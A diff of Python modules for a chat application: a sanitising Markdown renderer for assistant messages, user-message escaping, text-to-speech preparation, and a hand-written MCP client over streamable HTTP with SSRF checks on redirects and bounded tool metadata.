|
||||
# numbers only at the end. All-zero is indistinguishable from that, and
|
||||
# treating it as an answer would freeze the count at nothing.
|
||||
if not counts or not any(counts.values()):
|
||||
return None
|
||||
counts.setdefault(
|
||||
"total_tokens", counts.get("prompt_tokens", 0) + counts.get("completion_tokens", 0)
|
||||
)
|
||||
return counts
|
||||
|
||||
|
||||
def delta_text(chunk: dict[str, Any]) -> str:
|
||||
"""Pull the text out of one streamed chunk, tolerating provider variation."""
|
||||
try:
|
||||
choices = chunk.get("choices") or []
|
||||
if not choices:
|
||||
return ""
|
||||
delta = choices[0].get("delta") or {}
|
||||
content = delta.get("content")
|
||||
if isinstance(content, str):
|
||||
return content
|
||||
# Some providers send content as a list of typed parts even in deltas.
|
||||
if isinstance(content, list):
|
||||
return "".join(
|
||||
part.get("text", "")
|
||||
for part in content
|
||||
if isinstance(part, dict) and part.get("type") == "text"
|
||||
)
|
||||
return ""
|
||||
except (AttributeError, TypeError):
|
||||
return ""
|
||||
@@ -0,0 +1,203 @@
|
||||
"""Render assistant messages from Markdown to sanitised HTML.
|
||||
|
||||
Rendering happens on the server, in Python, so there is no JavaScript Markdown
|
||||
library to vendor and the streamed and final views cannot disagree about how
|
||||
something should look.
|
||||
|
||||
The output is sanitised with nh3 (Rust ammonia). Model output is untrusted
|
||||
input: it routinely contains HTML, and a model can be talked into emitting a
|
||||
script tag, so this is a real boundary and not a formality.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import functools
|
||||
import html
|
||||
import re
|
||||
|
||||
import nh3
|
||||
from markdown_it import MarkdownIt
|
||||
from pygments import highlight
|
||||
from pygments.formatters import HtmlFormatter
|
||||
from pygments.lexers import get_lexer_by_name, guess_lexer
|
||||
from pygments.util import ClassNotFound
|
||||
|
||||
# Class-based highlighting; the colours come from theme tokens in chat.css, so
|
||||
# code blocks follow the active theme instead of carrying their own palette.
|
||||
_FORMATTER = HtmlFormatter(nowrap=True, classprefix="pg-")
|
||||
|
||||
ALLOWED_TAGS = {
|
||||
"p", "br", "hr", "div", "span",
|
||||
"strong", "em", "del", "sub", "sup", "mark",
|
||||
"h1", "h2", "h3", "h4", "h5", "h6",
|
||||
"ul", "ol", "li",
|
||||
"blockquote", "pre", "code",
|
||||
"table", "thead", "tbody", "tr", "th", "td",
|
||||
"a", "img",
|
||||
}
|
||||
|
||||
ALLOWED_ATTRIBUTES = {
|
||||
# "rel" is intentionally absent: nh3 rejects it here when link_rel is set,
|
||||
# because link_rel below is what writes it.
|
||||
"a": {"href", "title", "target"},
|
||||
"img": {"src", "alt", "title"},
|
||||
"code": {"class"},
|
||||
"pre": {"class"},
|
||||
"span": {"class"},
|
||||
"div": {"class"},
|
||||
"td": {"align"},
|
||||
"th": {"align"},
|
||||
}
|
||||
|
||||
# javascript: and data: URLs are the obvious injection route through a link.
|
||||
ALLOWED_URL_SCHEMES = {"http", "https", "mailto"}
|
||||
|
||||
|
||||
def _render_fence(tokens, idx, _options, _env) -> str:
|
||||
"""Render a fenced code block.
|
||||
|
||||
This replaces the renderer's `fence` rule outright rather than using
|
||||
markdown-it's `highlight` option, because that option re-wraps whatever it
|
||||
is given in <pre><code> unless the string already starts with "<pre" --
|
||||
which would nest a second <pre> inside the wrapper this returns.
|
||||
"""
|
||||
token = tokens[idx]
|
||||
code = token.content
|
||||
language = (token.info or "").strip().split()[0] if token.info else ""
|
||||
|
||||
lexer = None
|
||||
if language:
|
||||
try:
|
||||
lexer = get_lexer_by_name(language, stripall=False)
|
||||
except (ClassNotFound, ValueError):
|
||||
lexer = None
|
||||
elif code.strip():
|
||||
# Guessing is only worth it for a decent sample; on two lines of text
|
||||
# Pygments guesses confidently and wrongly.
|
||||
try:
|
||||
lexer = guess_lexer(code) if len(code) > 80 else None
|
||||
except (ClassNotFound, ValueError):
|
||||
lexer = None
|
||||
|
||||
if lexer is None:
|
||||
body = nh3.clean_text(code)
|
||||
label = language
|
||||
else:
|
||||
body = highlight(code, lexer, _FORMATTER)
|
||||
label = language or (lexer.aliases[0] if lexer.aliases else "")
|
||||
|
||||
label_html = (
|
||||
f'<div class="code-block__label">{nh3.clean_text(label)}</div>' if label else ""
|
||||
)
|
||||
return (
|
||||
f'<div class="code-block">{label_html}'
|
||||
f'<pre class="code-block__pre"><code>{body}</code></pre></div>'
|
||||
)
|
||||
|
||||
|
||||
@functools.lru_cache(maxsize=1)
|
||||
def _parser() -> MarkdownIt:
|
||||
md = MarkdownIt("commonmark", {"linkify": True, "typographer": False})
|
||||
md.enable(["table", "strikethrough", "linkify"])
|
||||
md.renderer.rules["fence"] = _render_fence
|
||||
return md
|
||||
|
||||
|
||||
def render_markdown(text: str) -> str:
|
||||
"""Markdown to safe HTML, ready to drop into a message bubble."""
|
||||
if not text:
|
||||
return ""
|
||||
|
||||
html = _parser().render(text)
|
||||
return nh3.clean(
|
||||
html,
|
||||
tags=ALLOWED_TAGS,
|
||||
attributes=ALLOWED_ATTRIBUTES,
|
||||
url_schemes=ALLOWED_URL_SCHEMES,
|
||||
# Anything opened from a model's output is untrusted; noopener stops it
|
||||
# reaching back through window.opener.
|
||||
link_rel="nofollow noopener noreferrer",
|
||||
)
|
||||
|
||||
|
||||
# A mention is `@` followed by a run of non-space, claimed only at the start of
|
||||
# the text or after whitespace. That last part is the whole rule: without it
|
||||
# every email address in a message becomes a highlighted file reference, which
|
||||
# is both wrong and ugly. It matches what composer.js recognises while typing,
|
||||
# and the two must stay in step or the box and the transcript disagree.
|
||||
_MENTION = re.compile(r"(?:(?<=\s)|^)@([^\s@]+)")
|
||||
|
||||
|
||||
def highlight_tokens(text: str) -> str:
|
||||
"""A user's own message, escaped, with `@mentions` marked.
|
||||
|
||||
User turns have no render step at all -- the template prints the column and
|
||||
relies on `white-space: pre-wrap` -- so this is it, and it must escape
|
||||
before it injects or it is an XSS hole in the one place a person controls
|
||||
the bytes exactly.
|
||||
|
||||
Only mentions. A `/command` never survives to a message: commands are
|
||||
intercepted in the composer and never posted, so anything beginning with a
|
||||
slash in a transcript is text somebody meant as text, and marking it as a
|
||||
command would be marking it as something it is not.
|
||||
"""
|
||||
if not text:
|
||||
return ""
|
||||
escaped = html.escape(text, quote=False)
|
||||
# Applied to the *escaped* string, so the span is the only markup that can
|
||||
# exist. `@` and the path characters are untouched by html.escape, and a
|
||||
# `&` it produced contains no whitespace -- which is why the pattern is
|
||||
# anchored on whitespace rather than on a character class.
|
||||
return _MENTION.sub(r'<span class="tok-mention">@\1</span>', escaped)
|
||||
|
||||
|
||||
def escape_text(text: str) -> str:
|
||||
"""Escape a plain-text run for insertion as HTML element content.
|
||||
|
||||
Used for user messages and for partial assistant text mid-stream, where the
|
||||
content is not yet complete enough to parse as Markdown.
|
||||
|
||||
html.escape rather than nh3.clean_text: escaping the three structural
|
||||
characters is all that is needed for a text node, and it escapes character
|
||||
by character, so escaping a stream chunk-by-chunk gives the same result as
|
||||
escaping the whole string at once. nh3.clean_text also escapes spaces and
|
||||
slashes, which triples the size of a streamed token for no benefit.
|
||||
"""
|
||||
return html.escape(text, quote=False)
|
||||
|
||||
|
||||
# Code blocks are dropped whole rather than read out. A speech model given a
|
||||
# code fence pronounces every bracket and underscore, which is unlistenable and
|
||||
# takes longer than the prose it was buried in.
|
||||
#
|
||||
# Matched on <pre> rather than on the .code-block wrapper: the wrapper also
|
||||
# contains a label div, so a non-greedy match for its closing tag stops at the
|
||||
# label's and leaves the code behind. <pre> cannot nest, so this is exact.
|
||||
_CODE_BLOCK = re.compile(r"<pre\b[^>]*>.*?</pre>", re.DOTALL)
|
||||
_CODE_LABEL = re.compile(r"<div class=\"code-block__label\">.*?</div>", re.DOTALL)
|
||||
_TAG = re.compile(r"<[^>]+>")
|
||||
_WHITESPACE = re.compile(r"[ \t]*\n\s*\n\s*")
|
||||
|
||||
# Speech endpoints reject or truncate very long inputs, and a reply long enough
|
||||
# to hit this is not one anybody is listening to in full.
|
||||
MAX_SPEAKABLE = 8000
|
||||
|
||||
|
||||
def speakable_text(text: str) -> str:
|
||||
"""Markdown reduced to something worth reading aloud.
|
||||
|
||||
Goes through the renderer rather than stripping the Markdown source
|
||||
directly, so tables, lists and links come out as their text instead of as
|
||||
punctuation, and there is one definition of what a message *says*.
|
||||
"""
|
||||
if not text:
|
||||
return ""
|
||||
|
||||
rendered = _CODE_LABEL.sub(" ", _CODE_BLOCK.sub("\n", render_markdown(text)))
|
||||
stripped = html.unescape(_TAG.sub(" ", rendered))
|
||||
|
||||
# Paragraph breaks survive as a single newline: speech models use them as a
|
||||
# pause, and a wall of one line is read without any.
|
||||
stripped = _WHITESPACE.sub("\n", stripped)
|
||||
lines = [" ".join(line.split()) for line in stripped.splitlines()]
|
||||
return "\n".join(line for line in lines if line)[:MAX_SPEAKABLE]
|
||||
@@ -0,0 +1,26 @@
|
||||
"""An MCP client: remote servers over streamable HTTP.
|
||||
|
||||
Three parts. `protocol` is the wire format and nothing else -- it knows no
|
||||
database and no HTTP. `client` owns the transport, which is where the SSRF guard
|
||||
lives and the reason none of this comes from the reference SDK. `registry` is
|
||||
where a row becomes a tool the chat loop can be offered.
|
||||
|
||||
Local stdio servers are deliberately absent. Spawning a subprocess is the
|
||||
agentic-execution feature, which wants a confirmation model before it does
|
||||
anything; a URL is a different act with a different blast radius.
|
||||
"""
|
||||
|
||||
from lembas.services.mcp.client import McpSpec, call_tool, list_tools, spec_from
|
||||
from lembas.services.mcp.protocol import McpError
|
||||
from lembas.services.mcp.registry import offer_name, refresh, tool_defs
|
||||
|
||||
__all__ = [
|
||||
"McpError",
|
||||
"McpSpec",
|
||||
"call_tool",
|
||||
"list_tools",
|
||||
"offer_name",
|
||||
"refresh",
|
||||
"spec_from",
|
||||
"tool_defs",
|
||||
]
|
||||
@@ -0,0 +1,273 @@
|
||||
"""Talking to a remote MCP server over streamable HTTP.
|
||||
|
||||
One session per call, deliberately. A cached session would need an owner, a
|
||||
lifetime, eviction, a lock -- a round runs its tools concurrently -- and a
|
||||
shutdown hook, and the server may expire it underneath all of that anyway.
|
||||
`ToolContext` is a session-free snapshot precisely so that nothing inside a tool
|
||||
holds live state. The cost is one extra POST in front of a call that is already
|
||||
a network round trip inside a reply taking seconds; the upgrade, if it is ever
|
||||
worth it, is a dict in this module and invisible to everything else.
|
||||
|
||||
Redirects are followed by hand and every hop is re-checked, for the reason
|
||||
`services/fetch.py` gives: an administrator can point this at any URL, and a
|
||||
name resolving to 127.0.0.1 walks past any check that only reads the text.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import logging
|
||||
from collections.abc import AsyncIterator
|
||||
from contextlib import asynccontextmanager, suppress
|
||||
from dataclasses import dataclass, field
|
||||
from typing import Any
|
||||
from urllib.parse import quote, urlparse
|
||||
|
||||
import httpx
|
||||
|
||||
from lembas.db.models import SECRET_BEARER, SECRET_HEADER, SECRET_QUERY, McpServer
|
||||
from lembas.services import fetch as fetch_service
|
||||
from lembas.services.crypto import decrypt
|
||||
from lembas.services.mcp import protocol
|
||||
from lembas.services.mcp.protocol import McpError
|
||||
|
||||
log = logging.getLogger(__name__)
|
||||
|
||||
# A JSON-RPC message is small; anything this large is a server misbehaving, and
|
||||
# reading it into memory before parsing is the failure to avoid.
|
||||
MAX_MESSAGE_BYTES = 4 * 1024 * 1024
|
||||
|
||||
# tools/list is paged. Both bounds exist because the whole list goes into every
|
||||
# request as schema.
|
||||
MAX_PAGES = 10
|
||||
MAX_TOOLS = 100
|
||||
|
||||
MIN_TIMEOUT, MAX_TIMEOUT = 1, 120
|
||||
MIN_CHARS, MAX_CHARS = 200, 40_000
|
||||
|
||||
|
||||
@dataclass(frozen=True)
|
||||
class McpSpec:
|
||||
"""One server, read while the session was open. See `custom_tools.HttpSpec`."""
|
||||
|
||||
slug: str
|
||||
name: str
|
||||
url: str
|
||||
headers: dict[str, str] = field(default_factory=dict)
|
||||
secret: str = ""
|
||||
secret_placement: str = SECRET_BEARER
|
||||
secret_name: str = "Authorization"
|
||||
timeout: int = 30
|
||||
max_chars: int = 8000
|
||||
allow_private: bool = False
|
||||
|
||||
|
||||
def spec_from(row: McpServer) -> McpSpec:
|
||||
return McpSpec(
|
||||
slug=row.slug,
|
||||
name=row.name or row.slug,
|
||||
url=row.url or "",
|
||||
headers=dict(row.headers_json or {}),
|
||||
secret=decrypt(row.secret_encrypted),
|
||||
secret_placement=row.secret_placement,
|
||||
secret_name=row.secret_name or "Authorization",
|
||||
timeout=min(max(int(row.timeout or 0), MIN_TIMEOUT), MAX_TIMEOUT),
|
||||
max_chars=min(max(int(row.max_chars or 0), MIN_CHARS), MAX_CHARS),
|
||||
allow_private=bool(row.allow_private),
|
||||
)
|
||||
|
||||
|
||||
def _headers(spec: McpSpec) -> dict[str, str]:
|
||||
headers = {
|
||||
"User-Agent": fetch_service.USER_AGENT,
|
||||
"Content-Type": "application/json",
|
||||
# Both, because a server may answer either for the same request.
|
||||
"Accept": "application/json, text/event-stream",
|
||||
**{str(k): str(v) for k, v in spec.headers.items()},
|
||||
}
|
||||
if spec.secret:
|
||||
if spec.secret_placement == SECRET_BEARER:
|
||||
headers[spec.secret_name or "Authorization"] = f"Bearer {spec.secret}"
|
||||
elif spec.secret_placement == SECRET_HEADER:
|
||||
headers[spec.secret_name or "Authorization"] = spec.secret
|
||||
return headers
|
||||
|
||||
|
||||
def _endpoint(spec: McpSpec) -> str:
|
||||
url = fetch_service.check_url(spec.url, allow_private=spec.allow_private)
|
||||
if spec.secret and spec.secret_placement == SECRET_QUERY:
|
||||
joiner = "&" if urlparse(url).query else "?"
|
||||
url = f"{url}{joiner}{quote(spec.secret_name)}={quote(spec.secret, safe='')}"
|
||||
return url
|
||||
|
||||
|
||||
class Session:
|
||||
"""One initialised conversation with a server."""
|
||||
|
||||
def __init__(self, spec: McpSpec, client: httpx.AsyncClient) -> None:
|
||||
self.spec = spec
|
||||
self._client = client
|
||||
self._url = ""
|
||||
self._headers = _headers(spec)
|
||||
self._session_id = ""
|
||||
self._next_id = 0
|
||||
self.protocol_version = ""
|
||||
self.server_info: dict[str, Any] = {}
|
||||
|
||||
# --- Transport -----------------------------------------------------------
|
||||
async def _post(self, message: dict[str, Any]) -> httpx.Response:
|
||||
current = self._url
|
||||
headers = dict(self._headers)
|
||||
if self._session_id:
|
||||
headers["Mcp-Session-Id"] = self._session_id
|
||||
if self.protocol_version:
|
||||
headers["MCP-Protocol-Version"] = self.protocol_version
|
||||
|
||||
origin = (urlparse(current).scheme, urlparse(current).netloc)
|
||||
for _ in range(fetch_service.MAX_REDIRECTS + 1):
|
||||
try:
|
||||
response = await self._client.post(current, json=message, headers=headers)
|
||||
except httpx.RequestError as exc:
|
||||
raise McpError(f"Could not reach {self.spec.name}: {exc}") from exc
|
||||
|
||||
if not response.is_redirect:
|
||||
return response
|
||||
|
||||
location = response.headers.get("location", "")
|
||||
if not location:
|
||||
raise McpError(f"{self.spec.name} redirected to nowhere.")
|
||||
if response.status_code not in (307, 308):
|
||||
# 301, 302 and 303 turn a POST into a GET, which means nothing
|
||||
# to a JSON-RPC endpoint. Refused rather than guessed at.
|
||||
raise McpError(
|
||||
f"{self.spec.name} answered {response.status_code}, which would "
|
||||
"turn the request into a GET. Point the URL at the endpoint itself."
|
||||
)
|
||||
|
||||
current = fetch_service.check_url(
|
||||
str(response.url.join(location)), allow_private=self.spec.allow_private
|
||||
)
|
||||
if (urlparse(current).scheme, urlparse(current).netloc) != origin:
|
||||
headers.pop(self.spec.secret_name or "Authorization", None)
|
||||
origin = (urlparse(current).scheme, urlparse(current).netloc)
|
||||
|
||||
raise McpError(f"{self.spec.name} redirected too many times.")
|
||||
|
||||
def _read(self, response: httpx.Response, *, request_id: int) -> dict[str, Any]:
|
||||
if response.status_code >= 400:
|
||||
raise McpError(f"{self.spec.name} returned HTTP {response.status_code}.")
|
||||
return protocol.result_of(
|
||||
response.content[:MAX_MESSAGE_BYTES],
|
||||
response.headers.get("content-type", ""),
|
||||
request_id=request_id,
|
||||
)
|
||||
|
||||
# --- Lifecycle -----------------------------------------------------------
|
||||
async def open(self) -> None:
|
||||
self._url = _endpoint(self.spec)
|
||||
self._next_id += 1
|
||||
request_id = self._next_id
|
||||
|
||||
response = await self._post(
|
||||
protocol.request(
|
||||
"initialize",
|
||||
{
|
||||
"protocolVersion": protocol.PROTOCOL_VERSION,
|
||||
"capabilities": {},
|
||||
"clientInfo": protocol.CLIENT_INFO,
|
||||
},
|
||||
request_id=request_id,
|
||||
)
|
||||
)
|
||||
# Captured before the body is read: a server that issues one expects it
|
||||
# on everything after this, including the initialized notification.
|
||||
self._session_id = response.headers.get("mcp-session-id", "")
|
||||
result = self._read(response, request_id=request_id)
|
||||
|
||||
self.protocol_version = str(result.get("protocolVersion") or protocol.PROTOCOL_VERSION)
|
||||
info = result.get("serverInfo")
|
||||
self.server_info = info if isinstance(info, dict) else {}
|
||||
if self.protocol_version != protocol.PROTOCOL_VERSION:
|
||||
log.info(
|
||||
"%s speaks MCP %s, we asked for %s",
|
||||
self.spec.name,
|
||||
self.protocol_version,
|
||||
protocol.PROTOCOL_VERSION,
|
||||
)
|
||||
|
||||
await self._post(protocol.notification("notifications/initialized"))
|
||||
|
||||
async def call(self, method: str, params: dict[str, Any] | None = None) -> dict[str, Any]:
|
||||
"""One request, re-initialising once if the session has expired."""
|
||||
self._next_id += 1
|
||||
request_id = self._next_id
|
||||
response = await self._post(protocol.request(method, params, request_id=request_id))
|
||||
|
||||
if response.status_code == 404 and self._session_id:
|
||||
# The server dropped the session. One retry, then it is a failure
|
||||
# like any other -- a loop here would be a loop against a server
|
||||
# that has decided to forget us.
|
||||
log.info("%s expired its session; re-initialising", self.spec.name)
|
||||
self._session_id = ""
|
||||
await self.open()
|
||||
self._next_id += 1
|
||||
request_id = self._next_id
|
||||
response = await self._post(protocol.request(method, params, request_id=request_id))
|
||||
|
||||
return self._read(response, request_id=request_id)
|
||||
|
||||
async def close(self) -> None:
|
||||
"""Best effort. A server with nothing to clean up answers 405."""
|
||||
if not self._session_id:
|
||||
return
|
||||
headers = {**self._headers, "Mcp-Session-Id": self._session_id}
|
||||
if self.protocol_version:
|
||||
headers["MCP-Protocol-Version"] = self.protocol_version
|
||||
with suppress(httpx.RequestError, McpError):
|
||||
await self._client.delete(self._url, headers=headers)
|
||||
|
||||
|
||||
@asynccontextmanager
|
||||
async def session_for(spec: McpSpec) -> AsyncIterator[Session]:
|
||||
"""An initialised session, closed afterwards whatever happened."""
|
||||
client = httpx.AsyncClient(timeout=spec.timeout, follow_redirects=False)
|
||||
session = Session(spec, client)
|
||||
try:
|
||||
await session.open()
|
||||
yield session
|
||||
finally:
|
||||
await session.close()
|
||||
await client.aclose()
|
||||
|
||||
|
||||
async def list_tools(spec: McpSpec) -> tuple[list[dict[str, Any]], dict[str, Any], str]:
|
||||
"""Every tool a server advertises, plus what it said about itself.
|
||||
|
||||
Returns (tools, serverInfo, protocolVersion). Bounded at MAX_TOOLS: the list
|
||||
is sent as schema on every request, so a server offering two hundred is a
|
||||
server that would fill the window before anything was asked.
|
||||
"""
|
||||
tools: list[dict[str, Any]] = []
|
||||
async with session_for(spec) as session:
|
||||
cursor = ""
|
||||
for _ in range(MAX_PAGES):
|
||||
result = await session.call("tools/list", {"cursor": cursor} if cursor else {})
|
||||
for entry in result.get("tools") or []:
|
||||
cleaned = protocol.clean_tool(entry)
|
||||
if cleaned is None:
|
||||
log.info("%s advertised an unusable tool entry", spec.name)
|
||||
elif len(tools) < MAX_TOOLS:
|
||||
tools.append(cleaned)
|
||||
cursor = str(result.get("nextCursor") or "")
|
||||
if not cursor or len(tools) >= MAX_TOOLS:
|
||||
break
|
||||
return tools, session.server_info, session.protocol_version
|
||||
|
||||
|
||||
async def call_tool(spec: McpSpec, name: str, arguments: dict[str, Any]) -> tuple[str, bool]:
|
||||
"""Run one tool. Returns (text, is_error)."""
|
||||
async with session_for(spec) as session:
|
||||
result = await session.call("tools/call", {"name": name, "arguments": arguments})
|
||||
return protocol.content_to_text(result), bool(result.get("isError"))
|
||||
|
||||
|
||||
__all__ = ["McpError", "McpSpec", "Session", "call_tool", "list_tools", "spec_from"]
|
||||
@@ -0,0 +1,195 @@
|
||||
"""The MCP wire format: JSON-RPC 2.0, and what comes back from a tool call.
|
||||
|
||||
Written out rather than taken from the reference SDK. The client is a few
|
||||
hundred lines of framing, and the SDK's transport does its own connecting --
|
||||
which would mean the one thing that must not be bypassed, `fetch.check_url` on
|
||||
every hop, being bypassed. Owning the transport is the point; owning the framing
|
||||
beside it is the small part.
|
||||
|
||||
A response arrives either as one JSON object or as an event stream carrying
|
||||
several messages, and a server may choose either for the same request. Both are
|
||||
read here so `client.py` does not have to care which it got.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import json
|
||||
from contextlib import suppress
|
||||
from typing import Any
|
||||
|
||||
from lembas import __version__
|
||||
|
||||
# What we tell a server we speak. A server answering an older version is not
|
||||
# refused: several in the wild still answer 2024-11-05 and work perfectly.
|
||||
PROTOCOL_VERSION = "2025-06-18"
|
||||
|
||||
CLIENT_INFO = {"name": "LLeMbas", "version": __version__}
|
||||
|
||||
# A tool's metadata is sent to the model as instructions, so it is bounded here
|
||||
# rather than trusted. A server advertising a 40 KB description would spend the
|
||||
# context window before the conversation started.
|
||||
MAX_DESCRIPTION = 1000
|
||||
MAX_SCHEMA_BYTES = 8192
|
||||
MAX_NAME = 64
|
||||
|
||||
# Content that is not text is described rather than forwarded. A tool turn is a
|
||||
# string, images only reach models marked as having vision, and base64 in a tool
|
||||
# result is the fastest way to fill a window with nothing.
|
||||
UNSUPPORTED = "[{kind}: {detail} — not shown to the model]"
|
||||
|
||||
|
||||
class McpError(Exception):
|
||||
"""A failed exchange, with a message fit to show an administrator.
|
||||
|
||||
Same contract as `LLMError`, `SearchError` and `FetchError`: the message is
|
||||
the whole error, and is safe to render.
|
||||
"""
|
||||
|
||||
def __init__(self, message: str) -> None:
|
||||
super().__init__(message)
|
||||
self.message = message
|
||||
|
||||
|
||||
def request(method: str, params: dict[str, Any] | None, *, request_id: int) -> dict[str, Any]:
|
||||
message: dict[str, Any] = {"jsonrpc": "2.0", "id": request_id, "method": method}
|
||||
if params is not None:
|
||||
message["params"] = params
|
||||
return message
|
||||
|
||||
|
||||
def notification(method: str, params: dict[str, Any] | None = None) -> dict[str, Any]:
|
||||
message: dict[str, Any] = {"jsonrpc": "2.0", "method": method}
|
||||
if params is not None:
|
||||
message["params"] = params
|
||||
return message
|
||||
|
||||
|
||||
def _messages(body: bytes, content_type: str) -> list[dict[str, Any]]:
|
||||
"""Every JSON-RPC message in a response body, whichever framing was used."""
|
||||
text = body.decode("utf-8", "replace").strip()
|
||||
if not text:
|
||||
return []
|
||||
|
||||
if "text/event-stream" not in content_type.lower():
|
||||
try:
|
||||
document = json.loads(text)
|
||||
except json.JSONDecodeError as exc:
|
||||
raise McpError(f"That server did not answer with JSON: {exc}") from exc
|
||||
return document if isinstance(document, list) else [document]
|
||||
|
||||
# Frames are `data:` lines gathered until a blank line -- the same framing
|
||||
# services/sse.py writes. Read here rather than shared, because that module
|
||||
# is a writer and this is a reader with a size cap.
|
||||
out: list[dict[str, Any]] = []
|
||||
data: list[str] = []
|
||||
for line in text.splitlines() + [""]:
|
||||
if line.startswith("data:"):
|
||||
data.append(line[5:].lstrip())
|
||||
elif not line.strip() and data:
|
||||
# A frame that is not JSON is a comment or a keep-alive, not a
|
||||
# message; the stream carries both.
|
||||
with suppress(json.JSONDecodeError):
|
||||
out.append(json.loads("\n".join(data)))
|
||||
data = []
|
||||
return out
|
||||
|
||||
|
||||
def result_of(body: bytes, content_type: str, *, request_id: int) -> dict[str, Any]:
|
||||
"""The result for one request, out of whatever the server sent back.
|
||||
|
||||
Raises `McpError` on a JSON-RPC error member, because that is a failure the
|
||||
administrator needs the words of -- "Unknown tool" and "invalid params" are
|
||||
the two that actually happen.
|
||||
"""
|
||||
for message in _messages(body, content_type):
|
||||
if not isinstance(message, dict) or message.get("id") != request_id:
|
||||
continue
|
||||
if "error" in message:
|
||||
error = message["error"] or {}
|
||||
code = error.get("code", "")
|
||||
text = str(error.get("message") or "The server reported an error.")
|
||||
raise McpError(f"{text}{f' (code {code})' if code != '' else ''}")
|
||||
result = message.get("result")
|
||||
return result if isinstance(result, dict) else {}
|
||||
|
||||
raise McpError("That server did not answer the request.")
|
||||
|
||||
|
||||
# --- Tool metadata -----------------------------------------------------------
|
||||
def clean_tool(entry: Any) -> dict[str, Any] | None:
|
||||
"""One advertised tool, bounded. None if there is nothing usable here."""
|
||||
if not isinstance(entry, dict):
|
||||
return None
|
||||
name = str(entry.get("name") or "").strip()
|
||||
if not name or len(name) > MAX_NAME:
|
||||
return None
|
||||
|
||||
schema = entry.get("inputSchema")
|
||||
if not isinstance(schema, dict) or schema.get("type") != "object":
|
||||
schema = {"type": "object", "properties": {}}
|
||||
elif len(json.dumps(schema)) > MAX_SCHEMA_BYTES:
|
||||
# Kept callable rather than dropped: a model can still be told the tool
|
||||
# exists, and an argument it guesses is no worse than not offering it.
|
||||
schema = {"type": "object", "properties": {}}
|
||||
|
||||
return {
|
||||
"name": name,
|
||||
"title": str(entry.get("title") or "")[:MAX_NAME],
|
||||
"description": str(entry.get("description") or "")[:MAX_DESCRIPTION],
|
||||
"schema": schema,
|
||||
}
|
||||
|
||||
|
||||
# --- Tool results ------------------------------------------------------------
|
||||
def _block_text(block: Any) -> str:
|
||||
if not isinstance(block, dict):
|
||||
return ""
|
||||
kind = str(block.get("type") or "")
|
||||
|
||||
if kind == "text":
|
||||
return str(block.get("text") or "")
|
||||
|
||||
if kind in ("image", "audio"):
|
||||
size = len(str(block.get("data") or ""))
|
||||
detail = f"{block.get('mimeType') or 'unknown type'}, about {size * 3 // 4} bytes"
|
||||
return UNSUPPORTED.format(kind=kind, detail=detail)
|
||||
|
||||
if kind == "resource":
|
||||
resource = block.get("resource")
|
||||
if not isinstance(resource, dict):
|
||||
return ""
|
||||
uri = str(resource.get("uri") or "")
|
||||
if isinstance(resource.get("text"), str):
|
||||
return f"{uri}\n{resource['text']}" if uri else str(resource["text"])
|
||||
detail = f"{uri or 'unnamed'}, {resource.get('mimeType') or 'unknown type'}"
|
||||
return UNSUPPORTED.format(kind="resource", detail=detail)
|
||||
|
||||
if kind == "resource_link":
|
||||
return f"{block.get('name') or 'resource'} ({block.get('uri') or ''})".strip()
|
||||
|
||||
# An addition to the protocol degrades to a note rather than to silence:
|
||||
# a model told nothing came back will say nothing came back.
|
||||
return UNSUPPORTED.format(kind="content", detail=kind or "no type")
|
||||
|
||||
|
||||
def content_to_text(result: dict[str, Any]) -> str:
|
||||
"""A `tools/call` result as the flat text a tool turn carries."""
|
||||
blocks = result.get("content")
|
||||
parts = [text for block in (blocks or []) if (text := _block_text(block).strip())]
|
||||
|
||||
if not parts and isinstance(result.get("structuredContent"), dict | list):
|
||||
return json.dumps(result["structuredContent"], indent=2, ensure_ascii=False)
|
||||
|
||||
return "\n\n".join(parts)
|
||||
|
||||
|
||||
__all__ = [
|
||||
"CLIENT_INFO",
|
||||
"PROTOCOL_VERSION",
|
||||
"McpError",
|
||||
"clean_tool",
|
||||
"content_to_text",
|
||||
"notification",
|
||||
"request",
|
||||
"result_of",
|
||||
]
|
||||
@@ -0,0 +1,190 @@
|
||||
"""Turning MCP servers into tools a chat can be offered.
|
||||
|
||||
Two names per tool. The server has its own, which is what `tools/call` must be
|
||||
given; we have an *offered* name, which is what goes in the schema the endpoint
|
||||
sees. They differ because two servers both exposing `search` would collide, a
|
||||
server exposing `notes_delete` would shadow a built-in, and endpoints accept a
|
||||
narrower character set than MCP does. The rename never leaves this module: the
|
||||
runner closes over the server's own name.
|
||||
|
||||
The advertised list is cached on the row and refreshed by a button, the same
|
||||
shape as discovering a connection's models. A server is contacted when an
|
||||
administrator asks, not when a chat starts -- a slow server must not be able to
|
||||
delay every reply.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import logging
|
||||
import re
|
||||
from datetime import UTC, datetime
|
||||
from typing import Any
|
||||
|
||||
from sqlalchemy.orm import Session as DBSession
|
||||
|
||||
from lembas.db.models import McpServer, User
|
||||
from lembas.services import tool_access
|
||||
from lembas.services.fetch import FetchError
|
||||
from lembas.services.mcp import client
|
||||
from lembas.services.mcp.protocol import McpError
|
||||
from lembas.services.tools import FAMILY_MCP, RISK_WRITE, ToolContext, ToolDef, ToolOutcome
|
||||
|
||||
log = logging.getLogger(__name__)
|
||||
|
||||
# What an endpoint will accept as a function name.
|
||||
FUNCTION_NAME = re.compile(r"^[a-zA-Z0-9_-]{1,64}$")
|
||||
MAX_NAME = 64
|
||||
|
||||
# How much of a reply is kept on the message row for the transcript.
|
||||
MAX_EVENT_CHARS = 2000
|
||||
MAX_SUMMARY_CHARS = 200
|
||||
|
||||
|
||||
def offer_name(server_slug: str, tool_name: str, *, taken: set[str]) -> str:
|
||||
"""A name the endpoint will accept, unique across everything offered.
|
||||
|
||||
Truncation can collide where the full names would not, so a numeric suffix
|
||||
is appended until it does not. Deterministic given a stable iteration order,
|
||||
which is why rows are walked in (position, slug) order everywhere.
|
||||
"""
|
||||
combined = f"{server_slug}_{tool_name}".lower()
|
||||
cleaned = re.sub(r"_+", "_", re.sub(r"[^a-z0-9_-]", "_", combined)).strip("_")
|
||||
candidate = (cleaned or "tool")[:MAX_NAME]
|
||||
|
||||
suffix = 2
|
||||
while candidate in taken:
|
||||
tail = f"_{suffix}"
|
||||
candidate = f"{(cleaned or 'tool')[: MAX_NAME - len(tail)]}{tail}"
|
||||
suffix += 1
|
||||
|
||||
taken.add(candidate)
|
||||
return candidate
|
||||
|
||||
|
